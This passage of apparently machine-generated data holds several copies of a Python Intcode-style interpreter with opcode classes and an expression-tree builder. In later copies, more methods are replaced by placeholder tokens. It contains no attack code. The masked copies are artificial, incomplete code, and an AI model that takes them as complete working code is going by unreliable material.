i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n\n\nclass Opcode1(Opcode):\n <docstring token>\n <function token>\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n\n\nclass Opcode1(Opcode):\n <docstring token>\n <function token>\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n <function token>\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n\n\nclass Opcode1(Opcode):\n <docstring token>\n <function token>\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n <function token>\n <function token>\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n\n\nclass Opcode1(Opcode):\n <docstring token>\n <function token>\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n <function token>\n <function token>\n\n def writes(self):\n return self.__res\n <function token>\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n\n\nclass Opcode1(Opcode):\n <docstring token>\n <function token>\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n <function token>\n <function token>\n\n def writes(self):\n return self.__res\n <function token>\n <function token>\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n\n\nclass Opcode1(Opcode):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def writes(self):\n return self.__res\n <function token>\n <function token>\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n\n\nclass Opcode1(Opcode):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, 